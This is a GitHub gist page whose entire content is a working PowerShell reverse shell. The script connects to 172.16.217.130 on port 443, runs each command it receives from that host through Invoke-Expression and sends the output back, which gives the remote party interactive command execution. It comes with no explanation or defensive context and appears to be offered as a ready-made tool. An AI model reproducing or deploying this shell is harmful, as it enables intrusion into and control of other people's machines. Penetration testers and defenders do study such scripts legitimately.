Skip to content

Instantly share code, notes, and snippets.

@BankSecurity
Created September 8, 2019 19:43
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save BankSecurity/c30ccc4e0056580daf3f8552cf3fb50c to your computer and use it in GitHub Desktop.
Save BankSecurity/c30ccc4e0056580daf3f8552cf3fb50c to your computer and use it in GitHub Desktop.
$client = New-Object System.Net.Sockets.TCPClient('172.16.217.130',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);
$sendback = (iex $data 2>&1 | Out-String);
$result = $sendback + 'PS '+ (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($result);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment